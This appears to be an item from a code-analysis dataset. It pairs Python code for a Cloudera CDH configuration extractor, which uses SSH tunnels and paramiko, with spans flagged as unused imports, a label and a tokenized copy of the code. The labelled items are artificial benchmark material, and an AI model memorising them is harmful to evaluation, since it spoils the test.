self.cdhApi = cdhApi", "metadata": "root.CdhApiHelper.__init__", "header": "['class', 'CdhApiHelper', '(', 'object', ')', ':', '___EOS___']", "index": 254 }, { "content": " def get_service_from_cdh(self, name):\n cluster = self.cdhApi.get_all_clusters()[0]\n try:\n return next(service for service in cluster.get_all_services() if service.type == name)\n except StopIteration:\n raise NoCdhServiceError('No {} in CDH services.'.format(name))", "metadata": "root.CdhApiHelper.get_service_from_cdh", "header": "['class', 'CdhApiHelper', '(', 'object', ')', ':', '___EOS___']", "index": 257 }, { "content": " def get_host(self, service, role = None):\n\tif role is None:\n id = service.get_all_roles()[0].hostRef.hostId\n else:\n id = service.get_role(role).hostRef.hostId\n return self.cdhApi.get_host(id).hostname", "metadata": "root.CdhApiHelper.get_host", "header": "['class', 'CdhApiHelper', '(', 'object', ')', ':', '___EOS___']", "index": 265 }, { "content": " def get_entry(self, service, name):\n config = service.get_all_roles()[0].get_config('full')\n for config_entry in config:\n if name == config_entry:\n entry = config[config_entry].value or config[config_entry].default\n return entry", "metadata": "root.CdhApiHelper.get_entry", "header": "['class', 'CdhApiHelper', '(', 'object', ')', ':', '___EOS___']", "index": 272 }, { "content": " def get_entry_from_group(self, service, name, group):\n config = service.get_role_config_group(group).get_config('full')\n for config_entry in config:\n if name == config_entry:\n entry = config[config_entry].value or config[config_entry].default\n return entry", "metadata": "root.CdhApiHelper.get_entry_from_group", "header": "['class', 'CdhApiHelper', '(', 'object', ')', ':', '___EOS___']", "index": 279 }, { "content": "class NoCdhServiceError(Exception):\n pass", "metadata": "root.NoCdhServiceError", "header": "['module', '___EOS___']", "index": 286 } ]
[ { "span": "from cm_api.api_client import ApiResource, ApiException", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 55 }, { "span": "from cm_api.endpoints.services import ApiService, ApiServiceSetupInfo", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 69 }, { "span": "import subprocess", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 17 }, { "span": "import zipfile", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 14 }, { "span": "import shutil", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 13 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "ssh", "tunnel_", "import_", "SSH", "Tun", "nel", "Forward", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "ssh", "tunnel_", "._", "ssh", "tunnel_", "import_", "SSH", "Tun", "nel", "Forward", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "cm", "\\u", "api_", "._", "api", "\\u", "client_", "import_", "Ap", "i", "Resource_", ",_", "Ap", "i", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cm", "\\u", "api_", "._", "endpoints_", "._", "services_", "import_", "Ap", "i", "Service_", ",_", "Ap", "i", "Service", "Set", "up", "Info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "paramiko_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "yaml_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "requests_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zipfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logger_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Cd", "h", " ", "launcher", " ", "methods_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Cd", "h", " ", "manage", "r", " ", "methods_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "help", "ful", " ", "methods_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "config", "\\u", "filename_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "=_", "logger_", "._", "get", "\\u", "info", "\\u", "logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "config", "\\u", "filename_", "=_", "config", "\\u", "filename_", "if_", "config", "\\u", "filename_", "else_", "'", "fetch", "er", "\\u", "config", ".", "yml", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "=_", "self_", "._", "\\u", "load", "\\u", "config", "\\u", "yaml_", "(_", "self_", "._", "config", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "hostname_", "=_", "config_", "[_", "'", "machine", "s", "'_", "]_", "[_", "'", "cd", "h", "-", "launcher", "'_", "]_", "[_", "'", "host", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "hostp", "ort_", "=_", "config_", "[_", "'", "machine", "s", "'_", "]_", "[_", "'", "cd", "h", "-", "launcher", "'_", "]_", "[_", "'", "hostp", "ort", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "username_", "=_", "config_", "[_", "'", "machine", "s", "'_", "]_", "[_", "'", "cd", "h", "-", "launcher", "'_", "]_", "[_", "'", "user", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "key", "\\u", "filename_", "=_", "config_", "[_", "'", "machine", "s", "'_", "]_", "[_", "'", "cd", "h", "-", "launcher", "'_", "]_", "[_", "'", "key", "\\u", "filename", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "key_", "=_", "os_", "._", "path_", "._", "expanduser_", "(_", "self_", "._", "\\u", "key", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "key", "\\u", "password_", "=_", "config_", "[_", "'", "machine", "s", "'_", "]_", "[_", "'", "cd", "h", "-", "launcher", "'_", "]_", "[_", "'", "key", "\\u", "password", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "is", "\\u", "openstack_", "=_", "config_", "[_", "'", "openst", "ack", "\\u", "env", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "is", "\\u", "kerberos", "_", "=_", "config_", "[_", "'", "kerberos", "\\u", "used", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ip_", "=_", "config_", "[_", "'", "machine", "s", "'_", "]_", "[_", "'", "cd", "h", "-", "manage", "r", "'_", "]_", "[_", "'", "ip", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "user_", "=_", "config_", "[_", "'", "machine", "s", "'_", "]_", "[_", "'", "cd", "h", "-", "manage", "r", "'_", "]_", "[_", "'", "user", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ssh", "tunnel", "\\u", "required_", "=_", "config_", "[_", "'", "machine", "s", "'_", "]_", "[_", "'", "cd", "h", "-", "manage", "r", "'_", "]_", "[_", "'", "ssh", "tunnel", "\\u", "require", "d", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "password_", "=_", "config_", "[_", "'", "machine", "s", "'_", "]_", "[_", "'", "cd", "h", "-", "manage", "r", "'_", "]_", "[_", "'", "password", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "enter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "extractor_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ssh", "tunnel", "\\u", "required_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Creat", "ing", " ", "tunnel", " ", "to", " ", "CD", "H", "-", "Manager", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extractor_", "._", "create", "\\u", "tunnel", "\\u", "to", "\\u", "cd", "h", "\\u", "manager_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extractor_", "._", "start", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "tunnel", "ing_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Tun", "nel", " ", "to", " ", "CD", "H", "-", "Manager", " ", "has", " ", "bee", "n", " ", "created", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Connect", "ion", " ", "to", " ", "CD", "H", "-", "Manager", " ", "host", " ", "with", "out", " ", "ssh", " ", "tunnel", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "local", "\\u", "bind", "\\u", "address_", "=_", "self_", "._", "extract", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "host_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "local", "\\u", "bind", "\\u", "port_", "=_", "718", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "extractor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "error_", "(_", "'", "Cann", "ot", " ", "creati", "ng", " ", "tunnel", " ", "to", " ", "CD", "H", "-", "Manager", " ", "machine", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "exit\\u\\u_", "(_", "self_", ",_", "exc", "\\u", "type_", ",_", "exc", "\\u", "val_", ",_", "exc", "\\u", "tb_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ssh", "tunnel", "\\u", "required_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "stop", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "tunnel", "ing_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Tune", "llin", "g", " ", "to", " ", "CD", "H", "-", "Manager", " ", "stopp", "ed", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "error_", "(_", "'", "Cann", "ot", " ", "close", " ", "tunnel", " ", "to", " ", "CD", "H", "-", "Manager", " ", "machine", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "ssh", "\\u", "connection_", "(_", "self_", ",_", "hostname_", ",_", "username_", ",_", "key", "\\u", "filename_", ",_", "key", "\\u", "password_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Creat", "ing", " ", "connecti", "on", " ", "to", " ", "remote", " ", "host", " ", "{", "0", "}.'_", "._", "format_", "(_", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ssh", "\\u", "connection_", "=_", "paramiko_", "._", "SSH", "Client_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ssh", "\\u", "connection_", "._", "set\\u", "missi", "ng", "\\u", "host", "\\u", "key", "\\u", "policy_", "(_", "paramiko_", "._", "Auto", "Add", "Policy_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ssh", "\\u", "connection_", "._", "connect_", "(_", "hostname_", ",_", "username_", "=_", "username_", ",_", "key", "\\u", "filename_", "=_", "key", "\\u", "filename_", ",_", "password_", "=_", "key", "\\u", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Connect", "ion", " ", "to", " ", "host", " ", "{", "0", "}", " ", "establish", "ed", ".'_", "._", "format_", "(_", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "error_", "(_", "'", "Cann", "ot", " ", "creati", "ng", " ", "connecti", "on", " ", "to", " ", "host", " ", "{", "0", "}", " ", "machine", ".", " ", "Check", " ", "your", " ", "settings", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "in", " ", "fetch", "er", "\\u", "config", ".", "yml", " ", "file", ".'_", "._", "format_", "(_", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "close", "\\u", "ssh", "\\u", "connection_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ssh", "\\u", "connection_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Connect", "ion", " ", "to", " ", "remote", " ", "host", " ", "close", "d", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "error_", "(_", "'", "Cann", "ot", " ", "close", " ", "connecti", "on", " ", "to", " ", "the", " ", "remote", " ", "host", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ssh", "\\u", "call", "\\u", "command_", "(_", "self_", ",_", "command_", ",_", "subcommands", "_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Call", "ing", " ", "remote", " ", "command", ":", " ", "\"{", "0", "}\"", " ", "with", " ", "subcommands", " ", "\"{", "1", "}\"'_", "._", "format_", "(_", "command_", ",_", "subcommands", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ssh", "\\u", "in_", ",_", "ssh", "\\u", "out_", ",_", "ssh", "\\u", "err_", "=_", "self_", "._", "ssh", "\\u", "connection_", "._", "exec", "\\u", "command_", "(_", "command_", ",_", "get", "\\u", "pty", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "subcommands", "_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "subcommand_", "in_", "subcommands", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ssh", "\\u", "in_", "._", "write_", "(_", "subcommand_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ssh", "\\u", "in_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ssh", "\\u", "out_", "._", "read_", "(_", ")_", "if_", "ssh", "\\u", "out_", "is_", "not_", "None_", "else_", "ssh", "\\u", "err_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "extract", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "host_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Extract", "ing", " ", "CD", "H", "-", "Manager", " ", "address", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ip_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "create", "\\u", "ssh", "\\u", "connection_", "(_", "self_", "._", "\\u", "hostname_", ",_", "self_", "._", "\\u", "username_", ",_", "self_", "._", "\\u", "key", "\\u", "filename_", ",_", "self_", "._", "\\u", "key", "\\u", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "is", "\\u", "openstack_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ansi", "ble", "\\u", "ini_", "=_", "self_", "._", "ssh", "\\u", "call", "\\u", "command_", "(_", "'", "cat", " ", "ansi", "ble", "-", "cd", "h", "/", "platform", "-", "ansi", "ble", "/", "inventor", "y", "/", "cd", "h", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ansi", "ble", "\\u", "ini_", "=_", "self_", "._", "ssh", "\\u", "call", "\\u", "command_", "(_", "'", "cat", " ", "ansi", "ble", "-", "cd", "h", "/", "inventor", "y", "/", "cd", "h", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ip_", "=_", "self_", "._", "\\u", "get", "\\u", "host", "\\u", "ip_", "(_", "'", "cd", "h", "-", "manage", "r", "'_", ",_", "ansi", "ble", "\\u", "ini_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "close", "\\u", "ssh", "\\u", "connection_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "CD", "H", "-", "Manager", " ", "adress", " ", "extracted", ":", " ", "{}'_", "._", "format_", "(_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ip_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "tunnel", "\\u", "to", "\\u", "cd", "h", "\\u", "manager_", "(_", "self_", ",_", "local", "\\u", "bind", "\\u", "address_", "=_", "'", "local", "host", "'_", ",_", "local", "\\u", "bind", "\\u", "port_", "=_", "718", "0_", ",_", "remote", "\\u", "bind", "\\u", "port_", "=_", "718", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "local", "\\u", "bind", "\\u", "address_", "=_", "local", "\\u", "bind", "\\u", "address_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "local", "\\u", "bind", "\\u", "port_", "=_", "local", "\\u", "bind", "\\u", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cd", "h", "\\u", "manage", "r", "\\u", "tunnel_", "=_", "SSH", "Tun", "nel", "Forward", "er_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "self_", "._", "\\u", "hostname_", ",_", "self_", "._", "\\u", "hostp", "ort_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ssh", "\\u", "username_", "=_", "self_", "._", "\\u", "username_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "local", "\\u", "bind", "\\u", "address_", "=_", "(_", "local", "\\u", "bind", "\\u", "address_", ",_", "local", "\\u", "bind", "\\u", "port_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "remote", "\\u", "bind", "\\u", "address_", "=_", "(_", "self_", "._", "extract", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "host_", "(_", ")_", ",_", "remote", "\\u", "bind", "\\u", "port_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ssh", "\\u", "private", "\\u", "key", "\\u", "password_", "=_", "self_", "._", "\\u", "key", "\\u", "password_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ssh", "\\u", "private", "\\u", "key_", "=_", "self_", "._", "\\u", "key_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "tunnel", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cd", "h", "\\u", "manage", "r", "\\u", "tunnel_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "error_", "(_", "'", "Cann", "ot", " ", "start", " ", "tunnel", ":", " ", "'_", "+_", "e_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "tunnel", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", 